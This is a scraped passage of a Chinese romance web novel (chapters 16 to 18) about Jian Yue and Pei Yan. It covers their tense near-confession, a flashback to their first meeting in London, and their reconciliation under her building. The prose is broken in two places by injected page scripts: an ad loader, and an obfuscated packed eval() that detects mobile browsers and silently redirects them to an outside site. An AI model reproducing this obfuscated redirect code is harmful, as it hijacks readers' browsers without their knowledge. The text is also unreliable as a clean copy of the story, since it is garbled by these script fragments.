简月换了只手撑下巴,饶有兴致地看他:“我已经打电话让人来接我了,估计很快就到,你要是忙的话就先走吧,今晚打扰你这么久,不好意思,下次你有什么事叫我,我也一定立刻就到。” 夜风徐徐吹过,吹动男人的衣角。 他静默片刻,没有离开,而是缓缓蹲下,平视着她,问她:“疼吗?” 男人眸色漆黑,简月在这样的注视下,心脏“咚”地一跳。 一瞬后她反应过来,放下手坐直,仍是笑吟吟道:“还好。” “还是去医院看一下比较好。”裴言说。 “嗯,我等下就去。” “最好现在去。” 隐隐听出他的意思,简月好笑地反问:“你的意思是?” 裴言沉默下来。 他静静看着她,眼里似有挣扎。 简月也不急,同样静静看着他。 半晌,他开口,像是下定决心,一字一字说得缓慢又认真:“如果,我愿意背你呢。” 短短几个字,从耳神经一路传至大脑,本该是一瞬,可简月却有一种无比漫长的感觉。 漫长到她花了好几秒才确认了这个信息。 大脑宕机两秒,简月看着近在咫尺的男人,缓缓眨了下眼睛。 她想过裴言不会这么丢下她走人,可她没想到裴言会说,背她。 这么亲密的肢体接触,他会不知道这是什么意思吗? 他百分百知道。 终于意识到这就是她想要的结果,简月笑了:“好啊。” 裴言转过身,背对着她:“上来吧。” 简月趴上去的时候,才发现男人的背很宽厚。 有种油然而生的安全感。 她突然什么打趣他的心思都没了,觉得这一刻风也温柔,月也朦胧,一切都刚刚好。 远处是高级住宅小区,附近主打一个安静不扰民,他背着她,走过寂静的街道,简月忽然开口:“裴言,你还背过别人吗?” “你觉得呢?” “我是第一个?” 男人“嗯”了声。 “可他们都说,你很洁身自好,从不与异性有过密的接触,甚至我自己也见过,别人给你递烟你都不接。”简月偏头靠近了些,在他耳畔道,“那我在你心里,是什么?” 男人脚下一顿。 昏黄的灯光下,简月清晰地看到,他的耳根以肉眼可及的速度泛起了一层淡绯色。 身体的本能反应再次证实了简月心中的猜测,也给了她十足十的底气。 简月没等他回答,猝不及防伸手,从他口袋里取出手机,熟练地按下四个数字,然后将解锁后的界面举至他面前。 “0722,你还是没改,你不会不知道这是我的生日吧?” 她笑了笑,呼出的气息拂过他侧脸,她的声音幽幽响起:“裴言,你喜欢我啊……” 这句话说完,男人的身体立刻变得僵硬起来。 隔着衣服都能感受出他的紧绷与不自然。 简月将手机装回他的口袋,问出她最好奇的那个问题:“什么时候开始的?我竟然不知道。” 裴言站着没有动,也没有回答。 良久,他低叹一声,答非所问道:“果然。” “果然什么?” “你的脚没崴,今晚也没有急事,那条朋友圈设置的是仅我可见。” 他猜的与事实一字不差,简月微微惊叹:“聪明,都猜对了。” 既然他知道了她脚没崴,简月也不好意思再让他背下去,于是拍拍他的肩,说道:“放我下来吧。” 等她在平地上站好,裴言转过身来。 与她想的不同,男人的目光平静又坦然,像是对这个结果早有准备。 他说:“我喜欢你,你不是早就知道了吗,这段时间,你不是一直都在试探我吗?” 这回轮到简月吃惊了。 她微微一愣:“你早就知道?” 男人反问:“我看起来很傻吗?” 简月:“……” 意思是她试探得太明显了? 裴言说完,轻轻移开目光,看着远处:“你的朋友圈发出来五分钟我就看到了,然后我用了五分钟思考要不要找你。” 他继续说:“思考的结果是,你想试探,那我就配合你。” “为什么?”简月怔怔接道。 裴言转过头,重新对上她的目光,眼里是一点不再掩饰的直白喜欢:“我本来就没打算瞒你,你越早发现其实越好。” “简月,我从来就没想过要跟你当朋友。” 真正的爱情是需要冲动刺激和激情的,朋友当得越久,他们之间就越没可能。 “不……”她还有些发愣,“我问的是,你既然看出来我在试探你,为什么不直接问我?” “问什么,问你要不要和我在一起吗?”他盯着她,轻轻一笑,笃定道,“如果先开口的人是我,你会拒绝,但如果先开口的人是你,就代表着——” 说到最后,裴言微微低头,声音放轻放低了些:“你已经愿意和我在一起了。” 男人弯了弯唇:“知道吗,发现一个人的感情却不想回应的正确做法,是无视他,假装不知道。” 而不是一次次地试探靠近。 简月:“……” 她都有点佩服他了,佩服他猜得分毫不差,也佩服他明明是被动的一方,却在不知不觉间掌控了全局。 佩服的同时,心里又涌起一点说不清道不明的情绪。 好像是虚荣心,好像是骄傲,又好像是开心。 这么强大聪明的人……喜欢的人是她。 她为自己的虚荣心微微羞耻了一下,又问一遍她最好奇的问题:“你什么时候喜欢我的,为什么喜欢我?” 裴言定定看着她,说了七个字:“一见钟情,你信吗?” 简月信。 爱情本来就是没有逻辑不讲道理的事。 它不是选择,而是判断。 除了一个人是对,其他人都是错。 虽然这个答案有点普通,不如她期待的跌宕复杂,但也能接受,她继续问:“什么时候,在哪里?” 男人顿了顿,回答:“我只给女朋友讲这些。” 暗示的意味几乎要溢出来,简月了然:“你想跟我在一起吗?” 她笑了笑:“可以啊,如果你想,我们就在一起吧。” 话音落下,男人的眸光微微一颤,像月光洒在海面,渡上一层清亮皎洁的光,一瞬间漂亮得有些动人。 明明是他猜到的结果,明明是他预料之中的答案,可他眼里却有种犹自不敢相信的小心翼翼。 像是终于触及到明月,终于可以拥明月入怀,却不敢大声呼喊,也不敢有大幅的动作,就怕明月碎在他怀中,就怕这一切是场幻影。 这样珍重、深刻又得偿所愿的眼神。 就在简月以为他会点头并上前抱住她的时候,裴言说道:“你喜欢我吗?” 简月眨了眨眼睛。 她喜欢他吗?她觉得不喜欢。 应该是一点好感。 可是他这样问,她又有点不忍心告诉他答案。 当年和司衡在一起的时候,他根本没问过这样的问题,所以她也没想过裴言会问。 这根本不在她的计划里…… 静了静,简月微笑:“很重要吗?” “很重要,我要听你亲口说。” 他说得语气肯定,简月知道自己避不开了,可想到接下来要说的答案,不知怎的,她心里涌起一阵忐忑。 她不自然地移开目光,躲开他的视线,坦白道:“……有点好感,但还没到喜欢。我只是觉得既然你喜欢我,我也不排斥,那我们就可以试试。” “你想跟我谈恋爱吗?只要你想,我现在就可以答应你。” “……” “试试?” 良久,男人重复道,语调冷了些:“如果试失败了呢?你还要和我分手?” “……”简月不懂他为什么态度忽变,但还是诚实道,“谈恋爱本来就有可能分手,体验过总比从未得到要好吧。还是说,你因为这个不想谈了?” 她重新看向裴言,发现他眼里有失望一闪而过。 失望……什么? 难道他不想和她在一起吗? 她都答应他了,他在失望什么? “你和他也是这样在一起的吗?”裴言又问。 他? 反应过来他在问司衡,简月点头:“对。” “每个男人,你都是这样?只要不排斥,你就答应?” 这话听起来像在嫉妒,可简月却听出了别的意味——他在生气。 但他问的又没错,她的确是这样想这样做的。 第二个“对”字出口后,裴言的脸色沉了下来。 简月还是不懂他在气什么失望什么,可看他这幅样子,他好像也没有和她在一起的打算了。 难道是她刚才的话伤到他的自尊心了? 最后一步完全脱离预期,简月抿抿唇,有点不知所措了。 她只好道:“那你还要和我在一起吗?” 裴言不说话。 或许他需要点时间,简月想。 也是在这一刻简月意识到,不是每个男人都和司衡一样。 至少裴言不一样。 最后,她这么说道:“那我给你点时间考虑吧,明天24点前,如果你没有找我,我就知道你的答案了。” 独自走完剩下的路,简月回到车上,揉了揉头发,有种说不出的烦躁和不高兴。 事情是怎么发展成这样的? 明明掌握主动权的人是她,被喜欢的人也是她,可她为什么有种被裴言拒绝的感觉? 她叹一口气,取出手机,给姜予彤发消息。 简月:[我现在觉得,裴言可能没那么喜欢我。] 发完见姜予彤没秒回,想她应该在忙,于是简月放下手机,决定先开车回家。 车缓缓向前,经过裴言身边的时候,她感觉到他的目光透过车窗,落在了她身上。 简月没有看他,踩下油门,加速将车开了出去。 可当车身彻底与他错身而过时,她又忍不住透过后视镜看他。 男人站在路边,身形孤冷,面容表情都模糊成一片,只能看到他一直在盯着她离开的方向。 * 回到家挂好衣服,简月才发现姜予彤的消息已经回过来了。 姜予彤:[?什么意思?] 姜予彤:[你去找他然后谈崩了吗?] 姜予彤:[你们没在一起?] 简月坐下来盯着手机,又想起裴言站在她面前,问她的那句话。 ——“你喜欢我吗?” 男人低沉又动听的声音,隔了那么久,还是言犹在耳。 谈崩了……吗? 她不知道。 简月:[他是承认了他喜欢我,不过他想和我在一起的意愿好像不是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 很强烈。] 姜予彤:[???什么鬼?] 姜予彤:[不是很强烈是什么意思,他不想和你在一起?] 简月:[我问他要不要和我在一起,他没说话,我等了一会儿觉得怪尴尬的,就说给他时间考虑考虑,明晚之前如果没有找我,我就知道他的答案了。] 姜予彤:[……我不懂了。] 姜予彤:[他不会是只想和你搞暧昧,不想对你负责吧?] 姜予彤:[你们还说别的了吗?总不能一见面就是这句话吧?] 简月:[说了,他问我喜不喜欢他。] 简月:[我当然回答不喜欢了啊,我说对他有点好感,所以愿意和他在一起试试。] 简月:[然后他好像就,生气了。] 姜予彤发了一大串省略号过来。 姜予彤:[……你怎么能,这么直接?] 姜予彤:[这句话是个人听了都会不高兴啊!] 可是司衡听了没有不高兴啊…… 简月:[但我确实是这么想的啊,难道我要骗他说我很喜欢他吗?] 简月:[再说我以前和司衡在一起的时候就是这样说的,他一点反应都没有。] 姜予彤发了个气晕的表情。 姜予彤:[司衡是司衡,裴言是裴言,你别拿渣男当模板。] 姜予彤:[但凡是个正常男人,认真喜欢你,想和你在一起,却被你这么直白地回复……男人的自尊心肯定会,] 姜予彤:[受到伤害的。] 简月明白了点什么,继续问:[可他喜欢我不就是为了和我在一起吗?现在我同意了,他却要因为我不喜欢他而放弃这个机会?] 姜予彤:[有没有可能,他想和你在一起,但不想以这样的方式和你在一起。] 姜予彤:[你说你觉得他没那么喜欢你,有没有可能,他不是没那么喜欢你,而是他比你想的更喜欢你。] 《Friends》里有一句经典台词,Ross说:“So,Idon’twanttobejustanybody.” 瑞秋在他心里是年少时的白月光,是独一无二,是不可替代,所以他也想做瑞秋心里特别的那个人,而不是“anybody”。 Just,anybody。 不想做她的将就,不想做她的退而求其次,不想做“任何人”,不想做她心里“随随便便的一个人”。 不想要她的一时兴起,只想要她的全心全意。 简月看着这几行字,打字的动作变得迟疑。 所以,姜予彤的意思是,等到她真正喜欢上裴言时,裴言才会和她在一起吗? 良久,简月重新打字:[你的意思是,我一个被表白的人,莫名其妙被他拒绝了?] 姜予彤:[不一定哦。] 姜予彤:[你不是说让他考虑到明天晚上吗,那就等明天晚上啊。] 姜予彤:[也可能我猜的是错的,说不定等他想通了,他就来找你了。] 说不定,是吗? 抱着这样的想法,简月决定先睡一觉再说。 可她上了床,心里却一直乱糟糟的,始终都没有睡意。 裴言的脸,裴言说过的话,姜予彤说过的话,像一团毛线一样在她脑子里绕来绕去,剪不断,理还乱。 裴言,裴言,裴言,她脑子里竟然全是裴言。 她没有办法,只得拿出手机,选了个博弈游戏开始看。 计算和推理确实费脑子,不多时,简月终于在一片数字中如愿睡了过去。 第二天睁眼,简月的第一反应是摸手机。 可手机屏亮起后,却不见某个人的消息提示。 裴言没找她。 这个事实让她睡意全消。 简月捧着手机呆呆看了一会儿,下床开始洗漱。 她安慰自己,还早呢,一天才刚刚开始,她说的可是24点前。 还有16个小时。 中午的时候,简月点开微信看了一眼,没有消息。 傍晚,她又看了一眼,还是没有。 晚上八点,她从公司回到家,又看了一眼手机,还是没有! 只剩4个小时了。 裴言还是没来找她。 她不得不承认,很有可能,这就是裴言的回答了。 她说话太直白太难听,她搞砸了。 裴言比她想的,要骄傲自重得多。 ……也是。 那可是裴言,坐在亚恒的总裁位,哪怕不图人只图钱,喜欢他的人也有大把。 他有什么想不开,要上赶着和一个不喜欢他的人在一起? 说不上来心里什么感觉,不算难过,不算失望,更谈不上失落。 可却做什么都有点食不知味的感觉。 八点二十,简月拿起车钥匙,又出了门。 她开车来到江边,沿着江岸走了个来回,这一路上,她觉得自己乱七八糟地想了很多事,时间应该过去了很久,可当她回到车旁拿出手机,才发现只过了一个小时。 时间还早,她还是不想回家。 莫名的,她想散散心。 于是简月又就近找了个电影院,挑了个刚刚开场的电影,买了张票。 昏暗的场合,只需要坐着看剧情,不需要与任何人打交道,对现在的她来说再合适不过了。 简月望着正前方的屏幕,只觉得每一个字她都强迫自己看进去了,可这些字连起来是什么意思,她却反应不过来,像一个机器人机械地做着任务,看完这一句,就忘了上一句。 一个半小时的时间,她竟然一点也不记得电影讲了什么内容。 影厅的灯亮起,简月不适应地眯了眯眼,接着取出手机,不死心地又看了一眼消息栏——还是一片安静。 已经十一点半了。 看来裴言不会再找她了。 简月抿抿唇,开始后悔和裴言挑明他的感情了。 他们两个变成现在这样尴尬的关系,以后还怎么谈合作,怎么谈正事? 好尴尬,突然有点再也不想见他了。 干脆明天就去和裴言说取消合作的事好了。 尚未完成的事可以交给助理跟进,司衡的事她也可以自己解决。 挺好。 这样谁也不受影响。 做出决定,简月提起包,以一路飞驰的速度回了家。 然而当车缓缓靠近楼下,看到路灯下一个孤零零的身影,她的心突然像死而复苏般,剧烈跳动了起来。 男人原本低着头,听到声响,抬头望过来。 那一刻,隔着一层车玻璃,两人的目光对上。 是裴言。 他在这里,不知等了她多久。 17. 骄傲-17% 裴言是在十七岁那年见到他的。 那个应该称之为父亲的男人,裴文州。 亲生父子初次相见,裴言却没什么反应,只是坐在椅子上一动不动地看他。 十七年,要不是赵兰琪喝酒被自己的呕吐物噎死,估计他也不会出现。 空旷的房间里,男人坐在他对面,西装革履,一副商业人士的讲究做派。 裴文州细细打量他,像在看一份合同报告一样,眼里没有任何感情。 打量完一圈,裴文州问他:“不是每个月给了你们五万吗,你把钱花到哪儿了。” 语调淡淡,从容优雅,却有种无声的压迫感。 裴言:“没见过。” 五万?他连一千都没见过。 赵兰琪倒是过得风光,每月买包买首饰,花天酒地,好不快活。 而他呢? 半年都不见得有一套新衣服,连基本的学杂费都要老师三催四请,赵兰琪才会不情不愿地交上去。 身为母亲,她所做的就只是让他按部就班地活着而已。 她连家长会都没给他开过。 裴文州笑了:“你的意思是,钱都让你妈拿走了?” 裴言不说话。 他不是很想回答这些废话。 赵兰琪不是个合格的母亲,裴文州也不是个合格的父亲。 他看着男人一丝不苟的领带和袖口,只觉得道貌岸然。 没得到他的回答,裴文州也不恼,继续问:“裴言,她给你起的名字?” 裴言终于忍不住,嘴角弯起一个嘲讽的弧度。 十七年,他的亲生父亲才知道他叫裴言? 可他早在记事起就知道了他叫裴文州。 况且,裴言这个名字也不算赵兰琪起的。 ——是她翻字典点兵点将点出来的。 这件事他原本不知道,可赵兰琪大大咧咧,并不介意他听到了会怎样,就在某个下午,和一起吃喝玩乐的姐妹随意提起了这件事。 彼时的他正在厨房里倒水,闻言,默默喝完了那杯水。 他听见了,那又怎么样? 他的心并不会因此而掀起半分波澜。 他早就知道,他的出生对裴文州来说是个意外,对赵兰琪,则意味着一笔稳定的收入。 只要她生下他,养着他别让他死了,她就能每月拿到一笔固定的、不菲的“抚养费”。 至于他本身,他每天过得怎么样,吃得好不好,开不开心,赵兰琪从不关心。 连续两个问题都选择沉默,裴文州大概也看出了一些他的性格,于是放弃询问,转而开门见山道:“我不会带你回裴家。” 裴言连眼皮都没有掀一下。 裴文州取出一根烟,点燃,他吸了一口,向椅背靠去,若有所思地看着他,似在思考怎么处理他的事。 烟味儿很快弥漫在房间中。 裴言觉得刺鼻呛人,厌恶地别开脸。 “给你两个选择。”烟雾缭绕中,裴文州重新开口。 “第一,还是和以前一样,每月给你五万,到你十八岁结束。之后你自寻出路,我不再参与,是好是坏,都与我无关。” 裴文州说完,弹了弹烟灰。 裴言仍是一脸冷漠。 他该庆幸吗?或许吧。 至少他还能拿到一笔抚养费。 “第二,我给你一万块钱,送你出国,如果你能活下来,学到些我看得上的本事,我可以考虑以后在亚恒给你留个位子,让你辅佐你弟弟。”裴文州说完,脸上露出有趣的笑容,“我看过你的成绩单,裴言,你很聪明,你应该知道亚恒意味着什么。” 裴言还是不说话。 这两个选择都是裴文州在自说自话,他并没有什么兴趣。 而且,他能有什么选择权呢? 最终结果还不是裴文州一句话的事。 “看来你对自己的未来还很迷茫。” 猩红的火光在房间内一点点熄灭,裴文州掐灭烟,走到他身侧,手放在他肩上:“既然如此,你不妨先去国外看看,一个月后,再告诉我你的选择。” 如他所想,他没有选择权。 裴文州一句话就将他送到了千里之外的英国。 他落地伦敦,身无分文,全身上下唯一值钱的,是裴文州给他的手机。 手机里躺着一条短信,裴文州告诉他:【什么时候想好了,什么时候告诉我。】 那天的伦敦灰蒙蒙的,天上下着小雨,阴湿的风不住往人骨头里钻,天空的尽头看不见一丝光亮。 街上行人匆匆,裴言抿紧唇,看着屋檐下的雨渐渐连成了一条线。 雨下大了。 * 裴言就是在那个时期遇到简月的。 在他来到伦敦的第十天,一个难得放晴的日子。 说来奇怪,伦敦虽然是国际都市,却不比中国,扒手猖狂,流浪汉更是遍布街头。 那年他十七岁,个子还没完全长开,身形瘦弱,又是亚洲面孔,在高大的欧洲白人眼里怎么看怎么好欺负。 没多久,两个白男就盯上了他。 只是街上擦肩而过的功夫,他的单肩包就被向后扯下。 裴言反应过来,立刻拽紧背包的带子,两个白人打量他一眼,轻蔑地笑出声,手上越发用力,几乎变成了明抢。 纵然没见过这样的场面,他也知道此刻应该死死拽着带子不松手。 这可是英国,被抢走了说不定就再也找不回来了。 两人见状互相使了个眼色,然后一个用手肘撞向了他的腹部,一个抬起腿,踢向了他的膝盖。 双重痛意袭来,他额头滴下冷汗,手上的力终于松了几分。 单肩包被抢走,他们却不急着跑,而是不紧不慢地朝他比了个中指,才提着他的包堂而皇之地离开。 离开的同时,口中还蹦出了几个单词。 他们的发音带有浓重的地方特色,他听不懂,但也隐约猜出那是侮辱的词汇。 在某些白人眼里,歧视肤色,歧视东亚人,就像呼吸一样自然。 即便他们腐烂如泥,却也在面对黄种人时,有种莫名其妙的优越感。 少年跪在地上,捂紧自己的小腹。 眼看两人越走越远,裴言咬住牙,突然疯了一般站起来,扑向他们。 那一刻他的心底涌起了冲天的恶意,从未如此强烈地想与他们同归于尽。 同归于尽又怎么了呢,至少他拖了两个人下水。 反正他的命也没人在乎。 他这个人,从出生起,就是不被祝福、不被承认的存在。 赵兰琪拿他当捞钱的工具,裴文州拿他当铺路的棋子,连他的父母都是如此,这世上还会有谁会真正关心他在乎他? 少年用尽全身力气与他们拼命,却还是敌不过他们。 他们的体型差距太大了。 被狠狠摔在地上时,缝里的小石子划过他的脸,很快有血流出。 他的腿被狠狠踩了几脚,脸上也被砸了几拳,最后一脚从高处落下来的时候,裴言闭上眼睛,以为这就是结局。 可是下一秒,腿上的压迫感消失了。 他再次睁开眼,看到了一个女孩子的背影。 少女身穿一件浅黄色的风衣,亭亭玉立,长发及腰,发梢随着风微微飘起。 那样明亮又清新的颜色,就这么猝不及防地闯入了他的世界。 她挡在他身前,背对着他,用流利的英语说着什么。 裴言没有听,呆呆望着她的背影。 很快,少女上前几步,从他们手中抽走单肩包,转身向他走来。 裴言这才看清,是一个麦当劳大叔牵制住了他们。 少女来到他面前蹲下,他想到自己的样子,难堪地别开了头。 脸上的伤口还在滴答滴答地淌着血,没有修剪的头发散落下来,沾满了土和灰,袖口和裤腿都有不同程度的蹭破,狼狈,落魄,甚至刚才他还咬过那两个白男。 在她眼里,他应该……像一条疯狗一样吓人吧。 她将包递给他,他接过,僵硬说了句“Thanks”,就要起身离开,却被少女叫住。 “等等。”她用的是中文。 这时有另一个女生气喘吁吁跟上来,停在她身边,也是用中文说道:“简月,你怎么跑那么快,好了,既然你帮他把包抢回来了,我们就赶紧走吧。” 被叫做“简月”的女孩子看过去:“等我两分钟,我跟他说几句话。” 简月,原来她叫简月。 Jiǎn,是姓还是名,yuè呢,又是哪个字? 还有……她要对他说什么? 不知怎的,他听到简月的话,脚下像灌了铅,一步也迈不动,只听话又沉默地站在原地,等着她开口。 后追上来的女生无奈摇摇头,叹一口气,站远了些。 简月重新看向他,说:“你放心,我已经报过警了,有麦当劳大叔帮忙看着,他们跑不掉的。” 裴言喉结滚了滚,应道:“嗯。” 少女低头,从口袋里取出两个创可贴和一包湿巾递给他:“还有,你脸上流血了,这个给你,记得擦干净再贴。” 他接过创可贴和湿巾,手指微微颤抖。 她看着他收好创可贴,浅浅笑了,认真道:“下次不要再像刚才那么拼命了,你既然是中国人,那中国有句古话你一定听过。” “人必自重而后人重之,人必自侮而后人侮之,他们是垃圾,不值得你拼命,无论如何,人首先要爱惜的是自己。” 少年一眨不眨盯着眼前的少女,觉得胸腔有什么东西变得滚烫,温度急速攀升,似沸腾,似燃烧。 他第一次体会到被人保护的感觉,第一次体会到,有人希望他爱惜自己,是什么感觉。 她说完眨了下眼睛,继续道:“我们中国人在外,不能丢脸,对吧。” 后面的女生再次催促:“好了吗,简月?” “好了。”简月应道,她转身,朝他挥了挥手,“以后小心啊,再见。” 少女说完走向同伴,两人并肩离去。 不知她们聊起什么,少女的最后一句话飘入他耳中。 “还是喝咖啡吧,你不知道,英国的茶和中国的完全不一样,比不了。” …… 他怔怔看了半天,就在少女的身影要没入人群中时,他想起什么,从包里取出手机,对着她的背影,匆匆按下了拍摄。 后来,他辗转过无数个地方,换过无数个手机,这张照片始终是他的主屏背景。 很多年后,他才明白,原来那种沸腾燃烧的感觉,叫一见钟情。 少年收好手机,重新背上包,冷冷扫了一眼远处的两个白男,一瘸一拐离开了。 一个月后,裴文州问起他的答案,他说:“我选二。” 简月那样的女孩子,一看就知道是见过世面的,她的反应能力应变能力,样样出色。 更何况她的衣品,她待人的方式,她的落落大方,都能看出她是在一个富足的家庭里被爱养大的。 他站得越高,才越容易…… 亚恒,就是他最好的跳板。 * 那一面之后,裴言找了简月很多年。 在英国找,在中国也找。 这期间,裴文州最看重的儿子死于一场意外车祸,阴差阳错,他成了裴文州唯一的继承人。 老天真荒诞啊,裴言想。 那个被爱被看重的人英年早逝,而他这样不被承认的人,却活到了现在。 因为失去最爱的儿子,裴文州大病了一场,病好时,他苍老了不少,身体机能大不如前,连带着亚恒的事也开始力不从心。 后来裴文州来找他,他看着他的白发,第一次意识到原来裴文州已年过半百。 那次谈话后,他一跃成了亚恒的新任总裁。 毕竟在裴文州心里,他再怎么样也是裴家的子孙,再怎么样也流着裴家的血。 与其将亚恒交给外人,不如交给他。 更何况他的能力,裴文州都看在眼里。 为了坐上总裁位,裴言答应了裴文州两个条件。 第一,给裴文州夫妇养老,让他们安度晚年。 第二,让亚恒一家独大。 彼时,亚恒最大的对手,叫创世。 它的一把手,之前叫司知行,现在叫司衡。 * 裴言调查过司衡,天之骄子,从小顺风顺水,一路长大,毕业后继承公司,很快坐上了总裁位。 他看着司衡的资料,想,如果裴文州的儿子没死,是不是如今就和司衡一样。 找简月的第七年,司衡身边多了个女朋友。 业内都在传,司衡的这个女朋友不仅漂亮,还是简家的千金大小姐,也亏得他动作快,在人家刚回国时就开始追她。 简家。 简月。 第一次听到这个消息时,裴言的心漏跳一拍,意识到什么,近乎失态地叫来助理,让他去查简家大小姐的资料。 后来资料到手,裴言沉默了。 果然是她。 他找了七年的简月,就是简家的千金大小姐。 简月,原来是这个月,明月的月。 可他终于找到她,她却已经是别人的女朋友。 没多久,裴言在司衡身边看见了简月。 她比七年前出落得更漂亮了,也更让他……心动。 意识到他在嫉妒司衡,意识到他对简月产生了荒唐的独占欲后,裴言才发现,原来他喜欢上了她。 不知道什么时候,喜欢上了她。 ……可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13871348|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她已经是司衡的女朋友了啊。 而她看向司衡的目光,他难以形容,只觉得那是一种很美好的东西。 让他羡慕,让他嫉妒。 简月,应该很喜欢司衡吧。 这个认知跳入脑海中后,他的心立刻传来一阵尖锐的刺痛感,一层层漫上来,像潮水一样,让他几欲喘不上气。 裴言转身,大步离开。 那晚他一夜没睡。 他第一次觉得,人生中的很多东西,可能都是注定的。 司衡的人生顺风顺水,爱情也是,不像他,从出生起就是错的。 起初几年,裴言并不恨司衡,他只是冷静地完成着答应裴文州的条件。 他并不想对创世下死手。 即便他发现了创世的死穴。 可后来,他发现司衡有了别的女人。 不仅有了别的女人,那个女人还对他说她怀孕了。 那是裴言第一次气到全身都在颤抖,他一向冷静,情绪极淡,可每每遇上简月的事,他就会失控,失态。 他不敢相信司衡竟然背叛了简月。 他以为他对她很好。 他求之不得、视若珍宝的简月,竟然被司衡这么伤害。 他原本都已经认命了。 认命这一生只能像个阴暗爬行的地下生物,卑劣地肖想着别人的女朋友,肖想着别人的妻子。 克制着不向她走近,克制住自己的心跳,就已经是他最大的成全。 司衡背叛了简月,简月她知道吗? 她应该不知道。 ……司衡到底还要瞒她到什么时候啊。 那段时间,裴言整夜整夜地失眠,甚至到了要依靠药物才能入睡的程度。 他每晚都在想简月的事。 因为简月,他对司衡,也终于变成了一种恨。 恨与妒交织,裴言克制不住的时候,终于交代助理去办了一件事。 用一个新手机号给简月发了段视频,告诉了她真相。 他承认,他希望他们分手。 他也承认,他希望她分手后,来选择他。 * 简月和司衡撕破脸那天,他也出现在了那里。 所有简月能看到的,都是他的故意为之。 手机密码是他对她的暗示,手机主屏背景,是想看看她还记不记得他。 事实是她不记得了。 没关系。 反正十年前的他落魄又狼狈,不记得也好,他们重新开始,他会让简月看到一个,比司衡好十倍的裴言。 后来他们的关系近了些,他安慰她,想说她值得更好的,却被简月先一步接过话。 她神色认真地看着他,反问他——“我什么?我值得更好的?”,他突然有一瞬的迟疑。 她值得更好的,可他是更好的那个人吗? 然后他发现,他想说的不是她值得更好的,而是……她应该选择他。 不管他好不好,他都希望她选择的是他。 卑劣又自私地,希望她选择他。 他竭尽所能在她面前树立了一个良好的形象,如他所想,简月对他产生了好奇,开始一点点靠近试探他。 他不动声色地配合着她。 直到那一夜,两人把话说开。 很多年前那种胸腔温度急速攀升、心脏沸腾燃烧的感觉又回来了。 她近在咫尺,她触手可及,她下一秒就可以是他的女朋友,下一秒就可以属于他。 他以为她对他是有点喜欢的。 可是她说,她不喜欢他,只是愿意和他试试而已。 试试。 不止是他,和任何一个有好感的男人,她都可以试试。 他只是一个没有区别的“anybody”而已。 裴言突然有些不能接受。 谁要做“anybody”? 他怎么能只是“anybody”? 所以他又失控了。 他知道自己应该说“好”,可是胸腔下跳动的骄傲心脏,不允许他说出那个字。 一旦他说了,他就会变成简月可以随时甩掉的人。 而他最不想的,就是被简月随随便便甩掉。 …… 那晚他又失眠了。 吃了药好不容易睡过去,梦里却是简月和司衡在一起的画面。 那样尖锐的疼痛,连梦里都那么清晰。 梦里的简月一身白纱,在和司衡拍订婚照。 她笑得很美很温柔,看向司衡的眼神里,有少女初次动心的懵懂与羞涩。 在两人接吻的瞬间,裴言睁开眼,骤然醒了过来。 他坐起来,捂着胸口大口大口地喘气。 ……她说,她和司衡也是在一起试试的,试到最后,他们订婚了。 既然她会慢慢喜欢上司衡,那是不是也能,慢慢喜欢上他? 裴言下床,倒了杯冰水喝。 他还想起司衡和简月的结局。 男人眸色沉了沉,握着水杯的手越来越用力。 ——他忘了一件重要的事。 简月和其他男人试试,他们会伤害她。 只有他,只有和他在一起,她才不会受到任何伤害。 他才是那个最爱她、永远都不会伤害她的人。 他问自己,是简月不受伤害重要,还是他的自尊重要? 答案已然明了。 做出决定后,裴言心里骤然轻快了很多。 他不想在手机上说他们在一起吧,他想当面说。 他要亲眼看着简月成为他的女朋友。 所以他忙完一天,从公司离开就立刻去了简月家楼下。 可她不在家,楼上的灯是黑的。 她去哪儿了? 裴言开始等她。 从八点半开始,等到十一点四十,等到近乎绝望。 她在哪儿,她和谁在一起,男的还是女的,如果这时候有别人对她表白,她会……答应吗? 一百九十分钟里,这些乱七八糟的想法一直在他脑海中萦绕。 他等得坐立不安,焦躁恐惧,就在他要妥协、卑微地想发消息给她时,一束雪白的车灯扫了过来。 他抬起头,看到车牌号,然后隔着一层车玻璃,看到了简月。 她表情意外,似乎没想到会在这里看见他。 她熄火下车,向他走来。 黑漆漆的夜,她身上竟如十年前一般,穿了一件浅黄色的风衣。 明亮,清新,仿佛穿越时光,划破黑暗,从十年前,来到现在,再一次地走向了他。 她在他面前停下,疑惑道:“裴言?” 裴言喉结滚了滚,他极力稳住颤抖的声音,艰难开口。 “简月。” “我找了你好久。” 18. 骄傲-18% 简月眨了眨眼睛,像是没反应过来似地重复:“找了我好久?” 话是这么问,可出口的那一刻,大脑就已自动明白他的意思,内心的雀跃源源不断地流出,瞬间浸透了整个心脏。 她好像……知道接下来会发生什么了。 裴言抬起头,眸色又深又黑,望不见底,复杂情绪交织其中,像是挣扎,又像是隐忍。 他说:“你去哪儿了。” “……”简月故意板起脸,学着他的样子,“我只告诉男朋友这些。” 这话说完,她的脸又热了热。 她鬼使神差地接了这么一句,接完后才发现——暗示的意味好像过于明显了。 就好像她很期待他做她男朋友似的。 …… 没等她想更多,手腕被人轻轻一拉,她整个人被带入一个怀抱中。 男人的外套没有系扣子,她靠上去的时候,隔着一层单薄的布料,听到了他剧烈的心跳声。 夜凉如霜,他的衣服也是,带着一层初秋的冷意,可不知是她的脸在微微发烫还是他的体温灼人,她竟一点也不觉得冷。 在她呆愣之际,裴言低沉的声音响在耳边:“好,我们在一起,我做你男朋友。” 这句话说完,她心里的一点焦躁不安神奇地消失了。 亲耳听到他说这句话,简月发现,她好像比自己想象中的还要开心一些。 人真是太奇怪了。 上一秒还在想以后永远也不见他了,下一秒听他说在一起,她又忍不住高兴。 “简月。”他叫她的名字,继续说,“做我女朋友好不好。” 